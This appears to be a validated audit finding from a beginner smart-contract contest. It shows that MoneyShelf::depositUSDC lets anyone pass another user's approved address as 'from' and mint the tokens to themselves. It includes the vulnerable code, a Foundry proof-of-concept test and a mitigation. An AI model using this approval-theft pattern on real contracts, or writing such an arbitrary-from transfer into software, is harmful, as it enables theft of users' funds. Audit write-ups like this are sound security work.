First Flight #16: Mafia Takedown
First Flight #16
Beginner FriendlyDeFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

In `MoneyShelf::depositUSDC` function, it is used an arbitrary `from` passed to `transferFrom` and thhe `to` address is not the `msg.sender`

maikelordaz

In MoneyShelf::depositUSDC function, it is used an arbitrary from passed to transferFrom and thhe to address is not the msg.sender

Description: An attacker can call the function just when another user has already approved the contract, and receive all the minted tokens.

// "permissioned" already used by Shelf functions
function depositUSDC(address account, address to, uint256 amount) external {
deposit(to, amount);
@> usdc.transferFrom(account, address(this), amount);
@> crimeMoney.mint(to, amount);
}

Impact: User's funds can be stolen.

Proof of Concept: Paste the next test

function testCanMoveApprovedTokensOfOtherUsers() public {
address attacker = makeAddr("attacker");
​
vm.startPrank(godFather);
usdc.transfer(address(this), 100e6);
usdc.approve(address(moneyShelf), 100e6);
vm.stopPrank();
​
uint256 godFatherBalanceBefore = crimeMoney.balanceOf(godFather);
uint256 attackerBalanceBefore = crimeMoney.balanceOf(attacker);
vm.prank(attacker);
laundrette.depositTheCrimeMoneyInATM(godFather, attacker, 100e6);
​
uint256 godFatherBalanceAfter = crimeMoney.balanceOf(godFather);
uint256 attackerBalanceAfter = crimeMoney.balanceOf(attacker);
​
assertEq(godFatherBalanceBefore, 0);
assertEq(attackerBalanceBefore, 0);
assertEq(godFatherBalanceAfter, 0);
assertEq(attackerBalanceAfter, 100e6);
}

Recommended Mitigation: account and to should be msg.sender. Also can be used a mapping to store the approved accounts.

Updates

Lead Judging Commences

n0kto Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Arbitrary account deposit, steal approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.